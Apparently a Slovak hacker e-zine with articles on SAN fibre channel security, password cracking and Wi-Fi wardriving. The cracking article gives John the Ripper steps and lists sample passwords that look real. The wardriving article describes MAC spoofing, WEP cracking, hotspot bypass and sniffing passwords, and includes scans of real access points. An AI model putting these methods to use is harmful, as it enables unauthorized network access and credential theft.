pocas kratkej historie SAN fibre channel sieti ich zatial vacsina adminov vnimala ako "prirodzene bezpecne"... hlavne koli tomu ze sa jedna o dedikovane siete zabezpecujuce len prenos dat medzi servermi a diskovymi poliami, pripadne paskovymi kniznicami.. FC technologie ale zazivaju nevidany boom, meta group (www.metagroup.com) avizuje ze do roku 2008 bude 70 percent podnikovych zariadeni na ukladanie dat pripojenych cez fabric. dnes uz ani na slovensku nie su vynimkou SAN siete ktore maju radovo tucty FC switchov, terabajty diskovych poli a obrovske paskove kniznice. fc technologie sa dostavaju na masovy trh a mozno nebude trvat dlho kym bude stat fc switch tolko ako ethernetovy.. cisco uz napriklad vypustilo ruter ktory podporuje IP aj FC (sn5428 storage router).. coskoro bude fc SAN v kazden vacsej firmicke.. tento trend, spolu s faktom ze sa do SAN sieti coraz castejsie zapajaju aj IP-ficiace storage zariadenia, sposobi nevidane mnozstvo novych bezpecnostnych chyb a exploitov. technologie ako virtualizacia a poolovanie storagov otvoria tiez nejake tie dodatocne dvierka v bezpecnosti, nehovoriac uz o viziach vzniku service providerov ktori budu ponukat priestor na svojich diskovych poliach pomocou fibre channel pripojeni.

members only

dostat sa do SAN siete nemusi byt az take tazke, ako by sa na pohlad zdalo. jasne ze hacker moze tazko mat priamo pristup do fibre channel SAN, ale moze sa dostat na server, ktory je sucastou SAN siete. z tohoto pohladu prave servre pripojene do SAN v nich tvoria najvacsi bezpecnostny problem. pokial si to administrator specialne nenastavi, SAN siet bude vyzerat tak ze je vramci nej vsetko viditelne. ano, su tu nastroje ako zonovanie ci lun masking (o ktorych bude rec neskor), ale zatial sa nie vzdy a vsade pouzivaju. mozno je to aj koli tomu ze stale je na trhu este dost fc zariadeni ktore tieto nove ficurie nepodporuju.. ak teda hacker ziska pristup na jeden pocitac vramci SAN, je mozne ze uvidi vsetky data od uctovnictva, cez platy/mzdy az po zalohy na paskovych knizniciach.

na SAN sieti je samozrejme mozne aj sniffovat, aj ked je to kusok narocnejsie ako v ip sieti. zatial nie je velmi obvykle aby sa data na SAN sietiach sifrovali. nepocul som o tom aby niekoho napadlo sifrovat prenos dat medzi serverom a diskovym polom.. azda len backupovaci soft (napr. veritas netbackup, tivoli, legato) podporuje kryptovany presun dat po SAN sieti, pripadne ukladanie kryptovanych dat na zalohovacie media. ktovie ako sa to vyriesi v buducnosti ked budu SAN siete narastat do obrovskych rozmerov.. SAN je totiz hlavne o rychlosti a sifrovanie by riadne pribrzdilo tok dat.. viete si predstavit server ktory by stihal rozumne sifrovat/desifrovat dajme tomu 150 MB za sekundu ?

dalsou moznostou by boli DoS utoky, ktore by bombardovali SAN tolkymi poziadavkami, ze by ho proste zhodili z vlny. toto by si ale vyzadovalo upravu drivera na fc karte a to urcite nie je elementarna vec.. ale mozno je len otazkou casu kym sa vo phracku zjavi prislusny code..

zakladne dva nastroje na zabezpecenie SAN siete su zoning a LUN (logical unit number) masking. zoning je metoda particiovania ktora zabezpeci viditelnost len tych storage zariadeni, ktore ma uzivatel dovolene vidiet. zona moze obsahovat servre, storage zariadenia, subsystemy (napr. len cast diskoveho pola, alebo jednu mechaniku z viac-mechanikovej kniznice), switche, hba (host based adaptery - napriklad PCI FC karta v servri), pripadne ine komponenty. clenovia zony mozu komunikovat len s ostatnymi clenmi tej istej zony. zonovanie sa najcastejsie definuje na switchoch. hard zoning je proces definovania zon podla portov na switchi. komunikacia z nedovolenych portov samozrejme vobec do prislusnej zony neprejde. kedze je hard zoning implementovany na relativne nizkej urovni samotnych switchov a rutovacich tabuliek, poklada sa za bezpecnejsi ako soft zoning. ten je vo svete fibre channel zalozeny na world wide names (WWN). WWN je unikatny identifikator ktory sa prideli kazdemu FC zariadeniu. pri soft zoningu zabezpecuje software to, aby medzi WWN-kami z roznych zon neprislo k ziadnej komunikacii. soft zoning je flexibilnejsi ako hard zoning a odporuca sa hlavne v sietiach s hektickym zivotom plnym rekonfiguracii, novych zariadeni, atd. niektore switche maju funkciu port binding ktora umoznuje zadefinovat aby len urcite zariadenia v sieti mohli komunikovat na preddefinovane porty na switchi. takto sa da napriklad obmedzit pristup na diskove polia z len zadefinovanych serverov. potom sa nemoze stat ze sa utocnik pripoji do SAN siete cez volny port na switchi a pod.

druhy spominany nastroj je LUN masking. LUN je SCSI identifikator na logicku jednotku vo vnutri storage zariadenia, ako napriklad na disk v diskovom poli, alebo paskova mechanika v zalohovacej kniznici. vo svete fibre channel sa zadeluju LUN-y na zaklade systemovych WWN-iek. ak je na jedno storage zariadenie pripojenych viacero servrov, LUN masking na danom storage zariadeni zabezpeci aby kazdy server videl len jeden prislusny LUN, alebo jednu zadefinovanu skupinu LUNov. zabrani sa tak napriklad tomu, aby viacero servrov zapisovalo na to iste diskove miesto. rozne formy LUN maskingu sa daju zadefinovat na servri, HBA, storage controlleri, diskovom poli, ci na switchi.

logout

mnoo tolko na uvod. podla reakcii na tento clanok by sa mohol pripadne spravit taky druhy diel, kde by boli nejake konkretne situacie, topologie, prikazy (solaris) a tak.. cize dajte vediet zaujem..

ramirez, ramirez(at)hysteria.sk

navrat na obsah
co ty na to ? board




problem desifrovania normalizovanych dat

Jemny uvod do problematiky

Na uvod, len tolko ze slobodu a sukromie mame vsetci, ale vacsina si ju vobec nevazi a nechrani, snad nemusim pisat preco.

Takze k pouzitym vsetkym dobre znamym pojmom

Sifrovanie (Encryption) je proces, ktory z bezpecnostnych dovodov koduje zrozumitelnu informaciu do nezrozumitelnej formy.

Desifrovanie (Decryption) je opacny proces kodovania cize dekodovanie informacie do zrozumitelnej formy.

Hasovanie je vytvorenie kontrolnej informacie. V podstate ide o vytvorenie akejsi znacky poukazujucej na pravost obsahu (message digest).

Niektore normalizovane algoritmy

DES
Data Encryption Standard (DES) je symetricky sifrovaci algoritmus vyvinuty IBM v 70 rokoch zdokonalenim algoritmu LUCIFER. V roku 1976 bol vybrany ako standard. Je zalozeny na matematickej permutacii s 56 bitovym klucom. Desifrovanie je uskutocnovane inverznou funkciou z rovnakym klucom. Z hladiska bezpecnosti sa dnes skor doporucuje pouzit 3DES (troj prechodovy DES s klucom 112 alebo 168 bitov). Existuju samozreme modifikacie ako Kerberos AFS, BSDI....

GOST
Symetricky sifrovaci algoritmus vyvinuty sovietskym zvazom s 256 bitovym klucom

MD5
MD5 je jednocestna hasovacia funkcia vytvorena profesorom Ronaldem L. Rivestom v roku 1991.
Algoritmus MD5 vytvara z lubovolne dlheho vstupu 128 bitov dlhy message digest (retazec). Je odhadovane, ze je prakticky nemozne vytvorit dve spravy, ktore by mali rovnaky message digest alebo vytvorit spatnu spravu zo znameho digestu. Zmyslom algoritmu MD5 je overenie integrity dat.

MD4 , MD2
MD4 je jednocestna hasovacia funkcia vytvorena profesorom Ronaldem L. Rivestom v roku 1990.
Algoritmus MD4 a MD2 podobne ako MD5 vytvara z lubovolne dlheho vstupu 128 bitov dlhy message digest

RSA
Sifrovacia metoda RSA patri do skupiny asymetrickej kryptografie s verejnym klucom a je dnes pouzivana v mnoho implentaciach SSL. Metoda je vhodna pre sifrovanie zprav i pre digitalny podpis. Dlzka kluca je obvykle 1-4 kB
Skratka RSA vychadza z mien badatelov, ktori algoritmus navrhli. Boli to Ron Rivest, Adi Shamir a Len Adleman.

RIJNDAEL
Blokova sifra s 128 alebo 256 bitovovym klucom. Od roku 2000 standardizovana ako AES (Advanced Encyption Standard). Nazov je zlozeny s mien tvorcov algoritmu Vincent RIJmen a Joan DAEmer

SKIPJACK
Symetricky sifrovaci algoritmus s 80 bitovym klucom

SHA
(Secure Hash Algorithm) je jednocestna hasovacia funkcia vyvinuta instituciou National Institute of Standards and Technology (NIST). Viac na http://www.nist.gov . Algoritmus vytvori zo spravy 160 bitov dlhy message digest. Ten je pouzivany ako digitalny podpis spravy a sluzi na overenie pravosti. Prijemca uskutocni pre prijatu zpravu rovnaky vypocet a ak nesuhlasi doruceny message digest s vypocitanym, zprava bola cestou modifikovana.

IDEA
(International Data Encryption Algorithm), predtym znama ako IPES (Improved Proposed Encryption Standard).
Algoritmus vytvoril Xuejia Lai a James L. Massey, z ETH Zurich v 90 rokoch. IDEA je blokova sifra pouzivajuca 64-bitovy blok a 128-bitovy kluc. Zalamuje 64- bitovy cipher blok do styroch 16-bitovych slov.

A3, A8 nazyvany tiez A38
Autentifikacne algoritmy nachadzajuce sa na SIM karte pre overenie "pravosti" uzivatela pouzivana vo vasich mobiloch. Vstup je nahodne cislo RAND (128 bitov), kryptuje sa klucom Ki (128 bitov), A3 vygeneruje odpoved SRES (32 bitov). A8 vytvara na zaklade Ki a RAND sifrovaci kluc Kc (64 bitov, teda ehm vlastne len 54 bitov a 10 nul, ze by niekto nemal na vykonnejsie zelezo :) sluziaci pre prudove sifrovanie XOR. Avsak pozor volba A3 a A8 algoritmu je na operatorovi a vacsina operatorov si vybrala COMP128. Kto klonoval karty sa s tym stretol.

A5
Algoritmus sluziaci ku generovaniu hesla prudoveho sifrovania XOR mobilnej komunikacie (Mobil-BTS). Vstupom A5 je sifrovaci kluc Kc a cislo TDMA ramca. Princip je na trojici posuvnych registrov so spatnou vazbou, oznacovanou tiez LFSR (Linear Feedback Shift Register). Vystup A5 je dvojica hesiel dlha 114 bitu.(jedno M->BTS a druhe M<-BTS|

Niektore bezne postupy pre spristupnenie dat

Pri desifracii mozme vyuzit slabiny algoritmov (napr. nehomogenitu v boxoch), zjednodusenia algoritmov na elementarne operacie typu XOR,NOT,OR,AND, faktorizaciu a informacie o vnutornom obsahu (vlastnime jeden zo suborov s archivu, pozname prve znaky suboru -header, atd), informacie o subjekte ktory generoval password alebo frekvencny vyskyt znakov. Cosi som nacrtol v prispevku Psychologia a ine aspekty passwordov V.2.0 v ktoromsi s prielomov a cosi pridavam:

Modifikacia cisel a slov
m11833,me1108,ou812,sk1552,usk004,usk136,vig387,usk112,uni117,usk118,d111111,gogo0 07,sokol321,sokol123,filip200,f106a,d106a,rado1720,Misko123,15StraNa

A dve cisla na zaver
luck10,csms99,nate62,clay10,enve00,chevy59,Sept10,tall22,arch21,alan18,splav99,martin00, semi01,ivan66,ivan25,katy99,michal12,evit12,bartis19,saraz23,Hammer22

Zname osobnosti
Monette,jakes,Jesus,Caesar,amadeus,lucas,abraham,cezar,darwin6,.kennedy,.merlin,miklosko ,ezechiel,tesla, suster,belohorska,svoboda,muller,warhol

Mena
Crespin,Cooney,Michael,chris,Jessica,Nicole,Jordan,Robert,Matthew,Dolphin,Jeremy,Jessie,j essica,boris,monica,Steven,lisa,Patrick,Melissa,jerry, mirecek,janek,lukasek,milanek,viktoria,winston,Jennifer,robko,jergus,BENNY,PETER,valsor im,vokedorb,MichalJ,ODUL,OKTAJBUK,

Trochu rafinovanosti a Ludova tvorivost
jc1cas,p00piE,pbioloG,lacolarr,horty1,yago1z,grcbus2,Maximax,thx1138,tosomja,kokotik,Sib 0la,pkcomp,gls4b198,kot20uj,ckturiec,blablabl,tom20ksv,kokotina,csf3700a,lixxtrix,macho2* ,maco.1,radon$$, arlyAR,Spolok1.,3abm581,3e41cd,3rilu3,Al13Fe26,Ic8&Ho2,IvsRee98,Jssn4319,LTSW626,

Celkom bezne slovicka :)
lchers,macinteg,esquivel,wburghau,GinnyG,apolizzi,caviness,Black1,Lakers,sloniik,boogieda ,Princess,drizzt,Smile,Safety,st0per,sueses,ganja,brontici, rehulka,chvenie,,avohcrav,litnes,vokinaps,

Niekto prilis vela cita :)
password,Dragon,Password,Mickey,sunshine,Scooter,gandalf,Bandit,wizard,runner,bond007, Harley,beavis,maverick,Hlava22,kermit,venividi,Chicken, Raider,Avalon,Starwars,Diablo,smok,southpar,hafanana,Eternity,MiB1979

Zvieratka
Mustang,tigger,mustang,potkan,sova,baran,bacil,havran,jastrab,kapor,kaciatko,panthers,zajac, zabka,scorpion,tchor,chameleo,kone,kohut,kacka,Krtko%

Volba sposobu
V suboroch

Subor systemoveho typu
SAM File a napr. sietova autorizacia oknowsov 95-8

Postup krokov treba pouzit obdobny ako pri Passwd s UNIXov.

LM HASH - DES
Pouzite LC4 a brute force do max 18 dni mate vsetko :) Ale skor pouzite A-9 je to len 6h. Nezabudajte ze ak pouzivate slovnik, staci do 7 znakov.
Alebo na unixe dkbf je distribuovatelny a je to rychlejsie ak mate dost zeleza k dispozicii,

NTLM HASH - MD4
LC4 brute force do max rok, tak asi treba iny postup :)
Na unixe dkbf je distribuovatelny a cosi to riesi.

Passwd z UNIXov
Software do dlzky 8 je asi najlepsi john a jeho modifikacie.

Pouzivam nasledujuci postup, ktory je zoradeny z hladiska casu jednotlivych krokov a ich vytaznosti.

DES

-w:password.txt         To je subor s doposial najedenymi heslami   (1 m)       (? %)
-w:password.lst         To je pribalene k dodavke:)                 (1 m)       (? %)
-w:all_1.txt            Vsetky 1 znakove                            (1 s)
-w:all_2.txt            a dvoj                                      (10 s)
-w:all_3.txt            a troj pre istotu.                          (40 m)
-single                 Ale s upravenym INI                         (6 h)       (20 %)
-rules -w:mena.txt      Krsne a samo medzinarodne                   (1 h)       (4,2 %)
-w:cisla.txt            Slovnik s datumamy a cislami                (1 h)
-rules -w:dict5-8.txt   35 MB slovnik a upraveny INI                (30 d)      (40 %)
-incremenatal:Digits    5-8 znakov                                  (4 d)
-incremenatal:All       4 znaky                                     (3 d)
Zaklad je co najskor najst jednoduche aby zbytocne nespomalovali dlhsie kroky.
Vzorka bola 27877 a celkova uspesnost doposial 79,94 %.

MD5 a dalsie
Postup je obdobny ale casi omnoho dlhsie takze treba zvazit najma co je v slovnikoch.
Vzorka bola 2117 a celkova uspesnost doposial 33,77 %.

Subory datoveho typu
Utoky slovnikmi sa mi doposial neprejavili ako ucinne i ked ich skusam, takze som ich ani nezaradoval.

Podla pripon

Ace (AAPR 2.10)

Arj (YAAC 1.0)
Rar
Zip (AAPR 2.11)
Pdf (APPRP 2.12/1.7) 40-bit RC4 (PDF 1.2/1.3, 4.0<=), 128-bit RC4 (PDF 1.4, 5.0)
DOC symetricka sifra RC4

XLS symetricka sifra RC4

No uz mam pisania akurat dost, takze:
- U ostatnych suborov postupujeme obdobne.
- Pokial neexistuje soft tak si ho nakodime (trebars aj ked enkrypcne rutiny slohnete priamo s EXE kodovacieho SW)
- Pokial to dlho trva, optimalizujeme a distribujeme a multiprocesorujeme a multithrejdujeme ...

P.S. Niektori admini tvrdia ze vraj generatory su bezpecne :)

!$2NUA2RYQ@5,!7D!6QAC+B7F,!9BA79RW@DY$,!G49KR7^E@NV,!K4DH~H2^Y7J, !V9T9R^T6^FB,#NA6A+~7QTJ5,$N@Q2#D2YKG2,%!S79J5H+BQZ,%F%DCY767J=Y, %H2=3GGF2R%F,%K25EDML7Y%@,%YSP6~64$AMM,+2FN$MNE99R#,+K@D9EY69 +DF,+NNVC+Y9+4Q4,2M47#QKTX@@L,2R!ZEG~5+GY6,2~QT6HE@5H!W,3!GH59A AGK=$,3$#EKFK2H~6K,3FD6J5+WD$G~,3HN%#TK9#FN8,4#D~KATW^49F,4#MHQQ Y~7^5A,42@KM3WJTA$#,45UQAT~R4B$^,49B9PRQ!F#Q+,4BET5@4=NGP%,4F8K% M+EWB^7,5$5!MEP8QB~T,5$GF6!+ZHBJ3,5B=H4Q%E$8NP,6+G~RRLD56+H,6=@GG DSA=S36,6E6MC+F%9Y$K,6J@G@BAS4#7C,7BLG~=T76R%T,9Q7#=YTFE@2Q,9RM 3T~A^G8R=,9ZL%LD^TY89^,=5FAHF97Y~M+,=9SH83G!M#GW,=MG7QV=%AK39,@ +YP9N9U7DT#,@3KFQ@MU!T68,@4LT3!EHH=P5,@9@NH!A4K3WG,@GM8KH^4B4 @K,@NQSQ==354QQ,@RFTY^%4YM97,@S6G#K=8MBK4,@VZK!$9KXB38,^43T~2T @NRTA,^7XQ$$9Y2BFM,A4+F@+XKK63K,A5H~=NHF29#P,A6F+KV$!24BN,A=E4D3 ,~5CKM6^TR!3K,~6KHJ77D^KG$,~A#@7NA8KB7T,~AAHG2B94%J^,~FH6E8B5J~H=, ~R%DK=68Q2GR, ...

Vsetky casy su pocitane na 95 znakov nastavenia rozsahu BF
Pribalil by som aj niektore src ale neviem ci je to vhodne, kazdy si moze pokojne stiahnut openSSL, akurat to nebude mat optimalizovane v asm.

Pouzite skratky
CSP (Cryptographic Service Provider)
RC4 (prudova sifra)
SHA (Secure Hash Algorithm)
RSA (Rivest, Shamir, Adleman).
Microsoft Base Cryptographic Provider
Microsoft Base DSS and Diffie-Hellman Cryptographic Provider
Microsoft DH SChannel Cryptographic Provider
Microsoft Enhanced Cryptographic Provider
Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider
Microsoft RSA SChannel Cryptographic Provider
Microsoft Strong Cryptographic Provider

O.M.D.G.

navrat na obsah
co ty na to ? board




wifi jazda po blave II

[/]#

vzhladom na relativne velky ohlas na wifi tematiku sa pokusim popisat kusok praktickejsie o co vlastne ide. ti co boli na sesne to mozu brat ako rekapitulaciu toho co maniac hovoril ;)

[/boot]#

v prvom rade nam institucia ktora ma pod kontrolou pasma v eteri prideli vyhradene pasmo (tzv. chranene pasmo), alebo mozme vyuzivat preddefinovane volne pasmo. samozrejme zariadenia vyuzivajuce rozne pasma niesu navzajom kompatibilne a v chranenom pasme su kompatibilne zvacsa len vyrobky jedneho vyrobcu. co sa tyka volneho pasma, tu je situacia lepsia, boli vytvorene rozne 802.11 (wireless lan) standarty, ktore pokial splnaju zariadenia na oboch stranach tak by MALI byt kompatibilne. pouzivaju ethernetovy protokol s CSMA/CA (carier sense medium access/collision avoidance) na pristup k mediu (v nasom pripade mierne aromatizovanemu vzduchu).

mala "tabulka" uvadzajuca standart,maximalnu rychlost, frekvenciu a modulaciu roznych 802.11 standartov:

802.11	max  1Mbps, 2.4GHz, phase-shift keying (PSK) modulacia
802.11a	max 54Mbps, 5-6GHz, orthogonal frequency-division multiplexing (OFDM), vyuzitie v bezdratovych ATM systemoch
802.11b	max 11Mbps, 2.4GHz, complementary code keying (CCK) modulacia
802.11g max 54Mbps, 2.4GHz, complementary code keying (CCK) modulacia, kompatibilna s 802.11b

tentokrat sa budeme zaoberat prave pasmom 2.4GHz a to standartom 802.11b (wifi). toto pasmo ma sirku 83,5MHz (2.4000Ghz po 2.4835GHz).
v pripade zariadeni, ktore vyuzivaju FHSSS (frequency hopping spread spectrum [breezy]) je k dispozicii 79 kanalov po 1MHz krokoch s 1 az 2 Mbps na kanal). U DSSS (Direct spread spectrum) je k dispozicii X kanalov sirokych 22MHz po 5Mhz krokoch. pocet tychto kanalov (X) je zavisly od regulacii v danej krajine:
Kanada,USA: 11 kanalov [ 01 2.412GHz , 11 2.462 GHz]
Europa: 13 kanalov [01 2.412GHz , 13 2.472 GHz]
Francuzsko: 4 kanaly
Japonsko: 14 kanalov [01 2.412 GHz , 14 2.484 GHz]
maximalny pocet kanalov bez ich vzajomneho prekrytia (tym padom degradacie kvality signalu je 3! (napr 1,6,11). pri 802.11a (OFDM kodovanie) existuje "az" 8 kanalov, kore sa neprekryvaju.

takto napriklad vyzera ked sa pouziva kanal c. 7 - zaroven sa vysiela aj na frekvenciach okupovanych kanalmi 5,6 a 8,9

sila
^
|	4	5	6	7	8	9	10
|				X
|			    XXXXXXXXX
|			XXXXXXXXXXXXXXXXX
|		XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
+---------------+-------------------------------+---------> kanal
		|				|
		<------------------------------->
			\- sirka pasma zabrateho siedmim kanalom

ak by niekoho zaujimala realna priepustnost 802.11b v 11Mbps rezime, tak je to maximalne 5Mbps. zysok sa strati pri signalizacii, hlavickach atd.. aby som nezabudol, tato technologia je half-duplex.

[/dev]#

bezne karty maju obycajne vystupny vykon 30-40mw (13-16 dbm) a citlivost prijimaca -80dbm az -90dbm. vykonne karty maju z pravidla vykon 100-200mw (20-23 dbm) a citlivost -90dbm az -96dbm.

maximalny vyziareny vykon nemoze presiahnut predpisanu uroven. do uvahy treba brat zisk anteny, ale aj utlm na kabli/konektoroch/pigtaili od vysielaca k antene. pri rieseni siete je podla okolnosti nutne zvolit spravny typ anten (vsesmerova, sektorova, smerova, alebo mobilna..) a ich polarizaciu tak, aby bol spoj odolny voci ruseniu v co najdlhsom casovom horizonte..

wifi sa da behat bud v rezime AP -> klient [Infrastructure -> Managed] alebo v rezime Ad-Hoc [Peer2Peer]. koli efektivnosti sa vyuziva moznost prepojeni Point-MultiPoint, cez menej smerove anteny (sektorove, vsesmerove [obas sa podari chytit aj viacej klientov na smerovu antentu, ak su v miernom 'zakryte']). no a potom samozrejme spojenia bod-bod, ktore su podstatne spolahlivejsie (odolnejsie voci sumu, utokom na siet atd).
ako sa dozvieme dalej, rezimov do ktorych mozme prepnut wifi kartu je trocha viac :)

momentalne najpouzivanejsie chipsety su orinoco (lucent) a prismII. kedze mam orinoco silver pcmcia kartu tak low-level zalezitosti budu prave o nej. prismII ma sice bohatsie moznosti nastavovania (pomocou HostAP sa vie tvarit ako APcko a ine prijemne featury), ale nedostala sa mi do ruk takze o nej sa rozpisovat nebudem. Druha cast predchadzajuceho suvetia plati aj o FHSS Breezoch.

co sa tyka APcok, tak u nas najviac ficia Lucent RORy, Z-Comy, D-Linky, Ciso-Aironety a samozrejme mnohe dalsie tajwanske krabicky :) aby som nezabudol, sikovni a podnikavi pani poriesili aj u nas rozne wave-boxy, co je x86 kompatibilne PC v priemyselnej krabici s jednou/viacerymi ethernetovymi a wirelesovymi kratami. tie co som videl bezali na linuxoch a samozrejme kartach s prismII chipsetom, kedze sa tvaria aj ako APcko. koli spolahlivosti zvyknu mat miesto HDD flashdisk, v ktorom je akurat jadro, startovacie skripty a zopar uzitocnych prikazov (aj ked si viem celkom v pohode predstavit ze by na tej flashke mohol byt napriklad novy brutalware, az sa dokonci :)) )

[/etc]#

takze mame kanal na ktorom nam bude bezat nasa wirtualna lanka. dalsim parametrom je ESSID [Extended Service Set]. ESSID spaja viacero samostatnych buniek [BSSID - Basic Service Set] do jednej siete. BSSID je v praxi MAC adresa access pointu. v pripade ze sa jedna o siet, ktora by chcela byt kryptovana a pouziva WEP [Wired Equivalent Privacy] tak musime mat kluc (40 alebo takzvany 128 bitovy). IP adresu bud dostaneme po pripojeni k wlanke cez DHCP alebo nastavime taku aku nam nas provider pridelil (netmasku a branu detto).

[/lib]#

v pripade ze mame pokrocili stupen sklerozy nuka sa nam vdaka skvelej implementacii wifi moznost vsetky udaje spominane v [/etc]# zistit online priamo z divokeho eteru. potrebujeme na to 1 ks funkcny pocitac (najlepsie s OS, cize Linux/BSD/MacOS) 1 ks wifi karta (v nasom pripade uz spominana orinoco silver) minimalne 1 ks antena a kabel s pigtailom dosypat podla potreby. po patchnuti driveru k orinocu (aby sme mohli zapnut MONITOR rezim a pripadne si zmenit MAC adresu) vieme pustit kismet alebo airsnort, ktore zabezpecia, ze uvidime v cloveku zrozumitelnej forme co sa vlastne prehana okolo nas (v jemne aromatizovanom vzduchu).

v zozname zariadeni najdeme APcko, ktore je oznacene bud ESSIDckom, ktore sme zabudli, alebo nam svoje ESSID nechce prezradit a vidime len nieco na sposob . V druhom pripade treba pockat az sa nejaky klient reconnectne na to APcko a ono nam v tom momente, celkom dobrovolne to ESSID prezradi :) [nedockavi mozu spravit DOS na spojenie klient/AP pomocou otvorenej mikrovlnnej rury, alarmoveho senzoru, dialkoveho ovladania na garaz alebo inych toolov, ktore urcite vsetci z vas nosia vzdy pri sebe]. samozrejme ale este chyba konfiguracia IP vrstvy, takze bud sa spolahneme na to, co nam kismet povie o datach ktore v nasej sieti vidi, alebo sa jednoducho pripojime do tej siete a pustime stary dobry tcpdump. potom uz ostava len skusit nejake volne ip adresy z rozsahu, ktory sme vytusili podla komunikacie, ktoru sme videli v tcpdumpe. problem by mohol nastat v pripade, ze nase APcko ma filter pre pripojitelnych klientov nastaveny podla MAC adries. kedze sme stratili papierik od ISP s MAC adresou, ktoru sme si mali nastavit jednoducho pozrieme ake MAC adresy maju klienti, ktori prave komunikuju s APckom. urcite nikomu z nich nebude vadit, ak si jeho MAC adresu prepoziciame :-), vsak naco inac by sme patchovali ten orinoco driver, ze. v pripade nudze si mozme skusit nastavit MAC adresu APcka (jeho BSSID), v pripade starych z-comov by to mohlo aj zabrat.. odporucam prestudovat si IPv4 protokol a jeho sucast ARP, aby ste sa potom necudovali ked sa to bude spravat "divno". ak by sme mali k dispozicii prismII chipset, mohli by sme sa zahrat za pomoci HostAPu aj na unoscov, respektive muza v strede :)) ak mate po ruke paintbollovu pusku, kludne sa zahrajte na prezidenta a teroristov.

co je dobre vediet je to, ze nie kazdy orinoco firmware chape dobre nase ciste umyslys MONITOR rezimom. preto na sajte kde sa nachadza patch treba pozriet ktore firmwary sa osvedcili. no a nakoniec ak sme zabudli aj wep heslo, treba byt dostatocne trpezlivy a dufat ze cez AP pofici dostatocne mnozstvo trafficu (ak tam je mrtvo a vieme ipecky ktore su dosiahnutelne z vonkajsieho netu tak mozme z vonka pustit napriklad flood na nejakeho klienta, ktory je chyteny na nase AP alebo mo proste posleme nejaky filmik mailom :))) ) ked airsnort resp kismet nachytaju dostatocne mnozstvo zaWEPovanych packetov, ktore sa koncia bajtom 0xFFh (tzv. weak packets) tak automaticky skusia cracknut heslo.

[/opt]#

ak sa podarilo pripojit, dostali sme pridelenu adresu cez DHCP je to signalizacia toho, ze sme bud v niekoho intranete, alebo na HOTSPOTe. hotspoty su miesta, kde sa provider rozhodol vybudovat verejne pristupny wifi uzol. hacik je v tom, ze kamkolvek nabrowsujeme vzdy sa nam objavi stranka daneho providera s tym ze sa mame nejakym sposobom autentifikovat (aby nam pekne strhol z kreditu za pouzivanie netu). riesi sa to obycajne cez transparent proxying. zalezi od implementacie a konfiguracie hotspotu (zatial som sa stretol s dvoma implementaciami) ci sa nam podari dostat von bez autentifikacie. treba sa pohrat s tym, ci sa naozaj vsetko posiela na transparentny proxac (napriklad zvykne byt povoleny DNS/ICMP traffic do sveta na priamo), ci soft hostspotu neobsahuje nejaky bug (napriklad v php resp javascript sa obcas zvykne najst medzierka) resp ci nevidime v sieti na ktoru sme pripojeni nejaky stroj, ktory by po "vzdialenom pripnuti musle" sluzil ako slusna brana do netu. [/home]# ako ste si mohli vsimnut zabezpecenie wifi sieti je za dnesnych podmienok velmi komplikovane. buducnost ma asi radius autentifikacia (tiez podla mac adresy) spojena s IP SEC protokolom. klient bude musiet komunikovat s branou kryptovane (predtym sa musi brane samozrejme autentifikovat). na kolko to bude pouzielne v praxi (moznosti uz nasadenych routrov, podpora ipsecu na roznych OS a pod.) ukaze len cas, a ako elan spieva "ale dovtedyyyyy...." :))

biquad

[/tmp]#

ked som bol minule v bratislave, kratkou asi 20 minutovou cestou krizom cez nu s notebookom polozenym na sedadle spolujazdca bez akejkolvek externej anteny som sniffol 6 POP3 hesiel, 3 HTTP hesla a par KB irc, icq a pokecovej komunikacie..
-> kryptovat, kryptovat, kryptovat

este uplne zaverom nejake doplnujuce scanny wifi sieti v blave ako pridavok k minulemu cislu.. ..udaje zaslal si(at)pieskovisko.sk, poslite aj vy vase scanny !

scany z WB-ciek:
SSID                 MAC              RSSI linkq ch.  wep

silvanska 1, smerova antena 24 dBi hlavny lalok v smere juhovychod na petrzalku (terno):
vran2                00:90:4B:08:0B:C0   0   10   1   yes
vran                 00:90:4B:0B:5C:A5   0    2   6   yes
zniev                00:90:4B:0B:5B:D0   0    0  10   yes
Eunet STV Omni       00:60:1D:F6:7C:2D  40   57   9    no
imc-mat-ap           00:02:78:E1:D3:B6   0   40   7    no
DOM                  00:90:4B:08:0B:86   0   65  11    no
hist:
Eunet Petrzalka East 00:02:2D:09:1B:1B   0   45   1    no
                     00:40:96:29:7E:69   0    0   1    no
martineg             00:02:78:E1:10:23   0   35   1    no
apricot              00:90:4B:08:0B:AE   0   62   1    no

holicska 20, smerova antena 24 dBi hlavny lalok orientovany juzne:
zniev                00:90:4B:0B:5B:D0   0    0  10   yes
vran2                00:90:4B:08:0B:C0   0   45   1   yes
wli_003              00:60:B3:16:31:FE   0   25   3    no
hist:
apricot              00:90:4B:08:0B:AE  87   85   1    no

budatinska (neviem presne kde ani aka antena a orientacia, nebol som pri montazi:
zniev                00:90:4B:0B:5B:D0  97   67  10   yes
vran2                00:90:4B:08:0B:C0   0   27   1   yes
pol                  00:90:4B:80:B6:0D   0   62   2    no
testik               00:90:4B:0B:98:7E   0   25   8   yes
                     00:90:4B:A0:08:E2   0    0   5    no

strecnianska 5, smerova antena 24 dBi hlavny lalok orientovany v smere na vychod
(dolne hony, slovnaft, antena je umiestnena na balkone a vedlajsie laloky zachytava panel)
Backup34             00:10:E7:F5:54:07   0   60   7   yes
testik               00:90:4B:0B:98:7E   0   12   8   yes
DOM                  00:90:4B:08:0B:86   0   42   1    no
zniev                00:90:4B:0B:5B:D0   0    0  10   yes

zitavska, smerova antena 21 dBi hlavny lalok otientovany na sever:
fab30                00:30:4F:1C:2F:D9  27   28   1    no
krikfab30            00:90:4B:08:0C:08   0   70   7    no
krikvran             00:90:4B:08:0C:03   0   40   1    no
hist:
owen1                00:80:C6:E3:1B:04   0   55   3    no
default              00:90:4B:08:0C:41   0   45   3    no

navrat na obsah
co ty na to ? board




seda eminencia

...zivot v hniezde z medenych kablov

Upozornenie: text neobsahuje techniky, ako sa stat rychlo niekym inym, dokonalym. Pravdivost doleuvedenych informacii je znacne relativna. Autor nezodpoveda za skody vzniknute pocas a po precitani textu.

